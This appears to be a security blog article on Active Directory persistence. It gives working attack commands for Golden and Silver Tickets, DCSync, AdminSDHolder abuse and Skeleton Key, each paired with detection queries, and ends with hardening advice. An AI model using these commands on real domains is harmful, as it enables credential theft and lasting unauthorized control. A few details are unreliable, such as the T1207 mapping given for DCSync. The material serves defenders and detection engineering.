Gaining Domain Admin access is not the end of an attack — it is often the beginning of the persistence phase. Sophisticated threat actors know that initial access can be detected and terminated. Their goal is to establish mechanisms that survive eviction attempts: password resets, account disabling, even partial domain rebuilds.

Active Directory offers attackers a rich surface for persistence. The Kerberos architecture, the replication model, the inheritance-based permission system, and the in-memory authentication stack on domain controllers each present opportunities for durable footholds. Understanding these five techniques is essential for anyone responsible for AD security — both to detect active persistence and to assess residual risk after an incident.


Technique 1: Golden Ticket

How It Works

A Golden Ticket is a forged Kerberos TGT signed with the KRBTGT account’s password hash. The attacker extracts the KRBTGT hash from a domain controller and uses Mimikatz to create tickets offline for any identity, any privilege level, with any expiration date.

Prerequisites

  • Domain Admin privileges (to access LSASS or run DCSync against KRBTGT)

Execution

# Extract KRBTGT hash via DCSync (no LSASS touch on DC)
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

[Output]
Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c
Object Security ID: S-1-5-21-3107808321-1234567890-987654321-502

# Forge the Golden Ticket and inject into current session
mimikatz # kerberos::golden /user:svc_backup /domain:corp.local /sid:S-1-5-21-3107808321-1234567890-987654321 /krbtgt:8846f7eaee8fb117ad06bdd830b7586c /id:1103 /groups:512,519 /endin:525600 /ptt

# Verify ticket is loaded
klist

Why It Persists

The Golden Ticket remains valid as long as the KRBTGT hash is unchanged. Even disabling the user account specified in the ticket does not invalidate it — the KDC validates the ticket’s KRBTGT signature, not the account’s current state. Full remediation requires the KRBTGT double-reset procedure (two resets, 12+ hours apart).

Detection

Event ID 4769 — Kerberos Service Ticket Request with RC4 encryption in AES-only environments, or tickets with anomalous lifetimes. Event ID 4624 — Logon events for accounts that have not previously logged in. Microsoft Defender for Identity (MDI) has a dedicated Golden Ticket alert.

1# Check domain MaxTicketAge policy
2Get-ADDefaultDomainPasswordPolicy | Select-Object MaxTicketAge, MaxRenewAge
3
4# Find accounts with RC4 encryption still enabled
5Get-ADUser -Filter * -Properties msDS-SupportedEncryptionTypes |
6  Where-Object {($_.msDS-SupportedEncryptionTypes -band 4) -and $_.Enabled -eq $true} |
7  Select-Object Name, msDS-SupportedEncryptionTypes

Technique 2: Silver Ticket

How It Works

A Silver Ticket forges a Kerberos Service Ticket (TGS) using the password hash of the target service account — not KRBTGT. Because the forged TGS is presented directly to the target service (which decrypts it with its own hash), the KDC is never involved. This makes Silver Tickets invisible to KDC-level monitoring.

Prerequisites

  • Password hash of the target service account (e.g., a computer account, SQL service account, or IIS app pool account)
  • This is a lower bar than Golden Ticket — requires only one account compromise, not Domain Admin

Execution

# First, extract the target service account hash
# Example: Targeting CIFS on FILESERVER01 (uses computer account hash)
mimikatz # sekurlsa::logonpasswords
# OR via DCSync for a service account:
mimikatz # lsadump::dcsync /domain:corp.local /user:FILESERVER01$

[Output]
Hash NTLM: a3d4b5c6e7f8a9b0c1d2e3f4a5b6c7d8

# Forge a Silver Ticket for CIFS access to FILESERVER01
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3107808321-1234567890-987654321 /target:FILESERVER01.corp.local /service:cifs /rc4:a3d4b5c6e7f8a9b0c1d2e3f4a5b6c7d8 /id:500 /groups:512 /ptt

# Test access
dir \\FILESERVER01.corp.local\C$

Common Silver Ticket Targets

ServiceSPN PrefixAccess
CIFS / SMBcifsFile shares, remote admin
LDAPldapDirectory queries, DCSync (if targeting DC)
HOSThostWMI, PSRemoting, scheduled tasks
HTTPhttpWeb services, SharePoint
MSSQLMSSQLSvcSQL Server authentication
WSMANwsmanWinRM / PowerShell Remoting

Why It Persists

A Silver Ticket remains valid until the service account’s password is rotated. Computer account passwords rotate every 30 days by default — but service accounts often have password rotation disabled. An attacker with a service account hash can maintain access to that specific service indefinitely unless the account password is explicitly changed.

Detection

Silver Ticket use generates Event ID 4624 at the target service but produces no Event 4768 (AS-REQ) or 4769 (TGS-REQ) at the domain controller — because the KDC was never contacted. This “ticket without a corresponding TGS-REQ” is the primary detection signal.

1# Find service accounts with password rotation disabled (common Silver Ticket target)
2Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and PasswordNeverExpires -eq $true} `
3  -Properties ServicePrincipalName, PasswordLastSet, PasswordNeverExpires |
4  Select-Object Name, ServicePrincipalName, PasswordLastSet, PasswordNeverExpires |
5  Sort-Object PasswordLastSet

Technique 3: DCSync

How It Works

DCSync abuses the MS-DRSR (Directory Replication Service Remote Protocol) that domain controllers use to synchronize data. An account with the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights can request password hash data from a DC as if it were a replication partner — without logging into the DC, without touching LSASS, and without generating the Event ID 7036 (service start) or Event ID 4624 (interactive logon) that other credential extraction methods produce.

Prerequisites

  • An account with DCSync rights (default: Domain Admins, Enterprise Admins, Domain Controllers)
  • Attackers grant DCSync rights to a controlled account as a persistence mechanism

Granting DCSync Rights (Persistence Setup)

 1# Attacker: Grant DCSync rights to a low-privilege "sleeper" account
 2# This is the persistence mechanism — the account appears normal until used
 3Import-Module ActiveDirectory
 4
 5$domainDN = (Get-ADDomain).DistinguishedName
 6$acl = Get-Acl "AD:\$domainDN"
 7
 8$identity = [System.Security.Principal.NTAccount]"CORP\svc_monitoring"
 9$adRights = [System.DirectoryServices.ActiveDirectoryRights]"ExtendedRight"
10$type = [System.Security.AccessControl.AccessControlType]"Allow"
11
12# DS-Replication-Get-Changes
13$objectGUID = [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
14$ace1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity, $adRights, $type, $objectGUID)
15$acl.AddAccessRule($ace1)
16
17# DS-Replication-Get-Changes-All
18$objectGUID2 = [GUID]"1131f6ab-9c07-11d1-f79f-00c04fc2dcd2"
19$ace2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity, $adRights, $type, $objectGUID2)
20$acl.AddAccessRule($ace2)
21
22Set-Acl "AD:\$domainDN" $acl

Now svc_monitoring — an account that blends in with legitimate monitoring service accounts — can perform DCSync from any workstation at any time.

Execution

# Later, attacker authenticates as svc_monitoring and runs DCSync
mimikatz # lsadump::dcsync /domain:corp.local /all /csv > all_hashes.csv

# Target specific accounts for stealth
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

Detection

Event ID 4662 — Directory Service Access — with specific Access Mask and Object GUID is the primary DCSync indicator. The Properties field will show the replication GUIDs.

// Microsoft Sentinel KQL — Detect DCSync activity
SecurityEvent
| where EventID == 4662
| where ObjectType has "domainDNS"
| where Properties has_any (
    "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",   // DS-Replication-Get-Changes
    "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2",   // DS-Replication-Get-Changes-All
    "89e95b76-444d-4c62-991a-0facbeda640c"    // DS-Replication-Get-Changes-In-Filtered-Set
)
| extend Actor = tostring(SubjectUserName)
| extend ActorDomain = tostring(SubjectDomainName)
| where Actor !endswith "$"  // Exclude legitimate DC computer accounts
| where not(Actor in ("svc_aad_connect", "MSOL_*"))  // Exclude known legitimate sync accounts
| project TimeGenerated, Actor, ActorDomain, IpAddress, Computer, ObjectName
| order by TimeGenerated desc
 1# Audit who currently has DCSync rights — run this in a threat hunt
 2$domainDN = (Get-ADDomain).DistinguishedName
 3$acl = Get-Acl "AD:\$domainDN"
 4
 5$replicationGUIDs = @(
 6    "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes
 7    "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes-All
 8    "89e95b76-444d-4c62-991a-0facbeda640c"   # DS-Replication-Get-Changes-In-Filtered-Set
 9)
10
11$acl.Access | Where-Object {
12    $_.ActiveDirectoryRights -match "ExtendedRight" -and
13    $replicationGUIDs -contains $_.ObjectType.ToString()
14} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType | Format-Table -AutoSize

Technique 4: AdminSDHolder Abuse

How It Works

Active Directory’s SDProp (Security Descriptor Propagator) runs every 60 minutes on the PDC Emulator. It takes the DACL of the AdminSDHolder object (CN=AdminSDHolder,CN=System,DC=corp,DC=local) and copies it to all protected accounts — members of Domain Admins, Enterprise Admins, Schema Admins, Backup Operators, Account Operators, Print Operators, Server Operators, and the built-in Administrator account.

The attack: modify the AdminSDHolder DACL to grant an attacker-controlled account GenericAll, WriteDACL, or another powerful right. Within 60 minutes, SDProp propagates this permission to every protected object. The attacker now has persistent admin rights on all privileged accounts.

This persistence is insidious because:

  • Administrators fixing individual privileged account ACLs will have their changes overwritten by SDProp within an hour
  • Most AD monitoring does not watch AdminSDHolder ACL changes
  • The attack account itself appears low-privilege in most tools

Execution

 1# Attacker adds a controlled account to AdminSDHolder DACL with GenericAll
 2Import-Module ActiveDirectory
 3
 4$adminSDHolderDN = "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)"
 5$acl = Get-Acl "AD:\$adminSDHolderDN"
 6
 7$identity = [System.Security.Principal.NTAccount]"CORP\helpdesk_user1"
 8$adRights = [System.DirectoryServices.ActiveDirectoryRights]"GenericAll"
 9$type = [System.Security.AccessControl.AccessControlType]"Allow"
10$objectGUID = [GUID]"00000000-0000-0000-0000-000000000000"  # applies to all objects
11$inheritedObjectGUID = [GUID]"00000000-0000-0000-0000-000000000000"
12
13$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
14    $identity, $adRights, $type,
15    [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None,
16    $objectGUID
17)
18$acl.AddAccessRule($ace)
19Set-Acl "AD:\$adminSDHolderDN" $acl
20
21Write-Host "AdminSDHolder modified. SDProp will propagate in ≤60 minutes."
22Write-Host "After propagation, $identity has GenericAll on all protected accounts."
1# Force immediate SDProp propagation (attacker can speed up the clock)
2# Requires Domain Admin — used to immediately propagate after AdminSDHolder modification
3$rootDSE = [ADSI]"LDAP://RootDSE"
4$rootDSE.Put("fixupInheritance", 1)
5$rootDSE.SetInfo()
6# SDProp runs immediately — permission is propagated within seconds

Detection

Event ID 4662 — Directory Service Object Access on the AdminSDHolder object. Event ID 5136 — A directory service object was modified (if DS Access auditing is enabled).

BloodHound is the most effective tool for visualizing AdminSDHolder abuse:

# BloodHound Cypher query to find non-standard principals with ACEs on AdminSDHolder
MATCH (n)-[r:GenericAll|WriteDACL|WriteOwner|GenericWrite]->(m:OU {name: 'ADMINSDHOLDER'})
WHERE NOT n.name IN ['DOMAIN ADMINS@CORP.LOCAL', 'ENTERPRISE ADMINS@CORP.LOCAL']
RETURN n.name, type(r), m.name
1# Direct PowerShell check — enumerate AdminSDHolder DACL
2$adminSDHolderDN = "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)"
3$acl = Get-Acl "AD:\$adminSDHolderDN"
4$acl.Access |
5  Where-Object {$_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM|Administrators"} |
6  Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType |
7  Format-Table -AutoSize

Any identity appearing in this output that is not a recognized privileged group or system account is a red flag.


Technique 5: Skeleton Key

How It Works

Mimikatz’s misc::skeleton command patches LSASS on a domain controller in memory. After patching, LSASS accepts a universal password — “mimikatz” by default — for any account when authenticating via NTLM. The real passwords still work too. The patch affects only NTLM authentication (it does not forge Kerberos tickets).

This is a “backdoor” into the DC’s authentication process. An attacker can authenticate as any user by knowing only the magic password and the target username.

Prerequisites

  • Domain Admin privileges on the target domain controller
  • Physical or remote access to the DC to execute the patch

Execution

# On the domain controller (as Domain Admin)
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK

# The skeleton key is now active. Any user can authenticate with "mimikatz".
# From an attacker workstation — authenticate as Administrator with magic password:
net use \\DC01.corp.local\ADMIN$ /user:CORP\Administrator mimikatz

Why It Persists (With Caveats)

Unlike other techniques, the Skeleton Key does NOT survive a DC reboot — the LSASS patch is purely in-memory. However:

  • Domain controllers in many enterprises have uptimes measured in months or years
  • If the attacker maintains enough access to re-run misc::skeleton periodically, the backdoor can be continuously renewed
  • Detection without endpoint visibility into DC memory is extremely difficult

Detection

Sysmon Event ID 10 — Process Access — when a process accesses LSASS with permissions that include PROCESS_VM_WRITE. This is the most reliable signal for Skeleton Key injection.

Event ID 4673 — Sensitive Privilege Use — may fire when LSASS is patched.

Event ID 7045 — A new service was installed — some Skeleton Key deployment tooling installs a kernel driver.

1<!-- Sysmon configuration to detect LSASS memory writes -->
2<RuleGroup name="LSASS_Protection" groupRelation="or">
3  <ProcessAccess onmatch="include">
4    <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
5    <GrantedAccess condition="contains">0x0010</GrantedAccess>  <!-- PROCESS_VM_READ -->
6    <GrantedAccess condition="contains">0x0020</GrantedAccess>  <!-- PROCESS_VM_WRITE -->
7  </ProcessAccess>
8</RuleGroup>
// Microsoft Sentinel — Detect LSASS process injection via Sysmon
SecurityEvent
| where EventID == 10  // Sysmon ProcessAccess
| extend TargetProcess = tostring(EventData.TargetImage)
| extend SourceProcess = tostring(EventData.SourceImage)
| extend GrantedAccess = tostring(EventData.GrantedAccess)
| where TargetProcess endswith "lsass.exe"
| where GrantedAccess in ("0x1010", "0x1038", "0x143a", "0x1fffff", "0x1f1fff")
| where SourceProcess !in (
    "C:\\Windows\\System32\\svchost.exe",
    "C:\\Windows\\System32\\wininit.exe",
    "C:\\Windows\\System32\\csrss.exe"
)
| project TimeGenerated, Computer, SourceProcess, TargetProcess, GrantedAccess
| order by TimeGenerated desc

Detect via authentication anomaly:

If Skeleton Key is active, accounts should authenticate successfully with either their real password or “mimikatz.” A behavioral anomaly: watch for accounts that authenticate from multiple concurrent source IPs with different user-agent patterns within a short window — one using the real credential (legitimate user) and one using the magic password (attacker).


Comprehensive Detection Summary by Technique

TechniquePrimary Event IDsSecondary DetectionMDI Alert
Golden Ticket4769 (RC4 TGT), 4624Sentinel TGT lifetime queryForged Kerberos ticket alert
Silver Ticket4624 (no 4768/4769)Missing KDC request correlationUnusual ticket (no AS-REQ)
DCSync4662 (replication GUIDs)Non-DC making replication RPCDirectory Service replication alert
AdminSDHolder5136, 4662 on AdminSDHolderBloodHound ACL path analysisSensitive object modification
Skeleton KeySysmon 10 (LSASS write)4673, 7045, auth anomaliesLSASS memory write alert

Defense and Mitigation

1. Tiered Administration Model (Microsoft Enterprise Access Model)

Separate admin credentials into three tiers:

  • Tier 0: Domain controllers, AD Connect, PKI, privileged management hosts
  • Tier 1: Servers and cloud management
  • Tier 2: Workstations and end-user devices

Tier 0 accounts should never authenticate to Tier 1 or Tier 2 systems. This prevents LSASS harvesting from servers from yielding DC-capable credentials.

2. Protected Users Group

Add all Tier 0 accounts to the Protected Users group:

1# Add critical accounts to Protected Users
2$protectedAccounts = Get-ADGroupMember -Identity "Domain Admins" | Select-Object -ExpandProperty SamAccountName
3foreach ($account in $protectedAccounts) {
4    Add-ADGroupMember -Identity "Protected Users" -Members $account
5    Write-Host "Added $account to Protected Users"
6}

Protected Users members: cannot use RC4 (only AES), cannot use NTLM, cannot be delegated, have 4-hour TGT maximum with no renewal. This blocks multiple attack paths simultaneously.

3. Microsoft Defender for Identity

Deploy MDI on all DCs. MDI processes authentication traffic and AD replication data inline. It alerts specifically on:

  • Golden Ticket / Silver Ticket usage
  • DCSync from non-DC accounts
  • LSASS access attempts on DCs
  • AdminSDHolder modification
  • Unusual replication requests

MDI integrates with Microsoft Sentinel for SOAR playbooks (auto-disable accounts, revoke sessions).

4. Audit and Restrict DCSync Rights

 1# Remove DCSync rights from any account that should not have them
 2$domainDN = (Get-ADDomain).DistinguishedName
 3$acl = Get-Acl "AD:\$domainDN"
 4
 5# Remove a specific account's replication rights
 6$identity = [System.Security.Principal.NTAccount]"CORP\svc_monitoring"
 7$acl.Access | Where-Object {$_.IdentityReference -eq $identity} | ForEach-Object {
 8    $acl.RemoveAccessRule($_)
 9}
10Set-Acl "AD:\$domainDN" $acl

5. Credential Guard

Enable Windows Defender Credential Guard on all domain controllers and Tier 0 machines. Credential Guard uses virtualization-based security to isolate LSASS in a protected environment, preventing Skeleton Key and Golden Ticket credential extraction:

 1# Enable Credential Guard via Group Policy
 2# Computer Configuration > Administrative Templates > System > Device Guard
 3# "Turn On Virtualization Based Security" = Enabled
 4# "Credential Guard Configuration" = Enabled with UEFI lock
 5
 6# Or via registry (requires reboot):
 7New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" -Force
 8Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
 9  -Name "EnableVirtualizationBasedSecurity" -Value 1
10Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
11  -Name "RequirePlatformSecurityFeatures" -Value 1
12Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
13  -Name "LsaCfgFlags" -Value 1

6. Purple Knight — AD Health Assessment

Run Semperis Purple Knight periodically (monthly or after any suspected compromise) to detect:

  • AdminSDHolder ACL anomalies
  • Accounts with DCSync rights outside expected principals
  • KRBTGT password age
  • Protected Users membership gaps
  • Kerberos delegation configurations
1# Run Purple Knight (download from Semperis)
2.\PurpleKnight.exe -IncludeAll -OutputPath C:\Reports\PK-$(Get-Date -Format 'yyyyMMdd')

7. Regular KRBTGT Rotation

Establish a process for quarterly KRBTGT password rotation in non-incident conditions. This limits the window of Golden Ticket validity even if an earlier compromise went undetected.


Summary

Active Directory persistence techniques succeed because AD’s trust model was designed for availability and convenience, not adversarial environments. The five techniques covered here — Golden Ticket, Silver Ticket, DCSync, AdminSDHolder abuse, and Skeleton Key — each exploit a different architectural feature. Comprehensive defense requires layered controls: Protected Users (eliminates RC4, NTLM abuse), Credential Guard (blocks LSASS extraction), MDI (detects anomalous replication and ticket use), regular AdminSDHolder DACL auditing (detects persistence setup), and a tiered admin model (limits blast radius). Detection without these controls is reactive and incomplete; with them, most persistence techniques generate detectable signals.

MITRE ATT&CK: T1098 (Account Manipulation — AdminSDHolder), T1207 (Rogue Domain Controller — DCSync), T1558.001/002 (Golden/Silver Ticket), T1556 (Modify Authentication Process — Skeleton Key)



References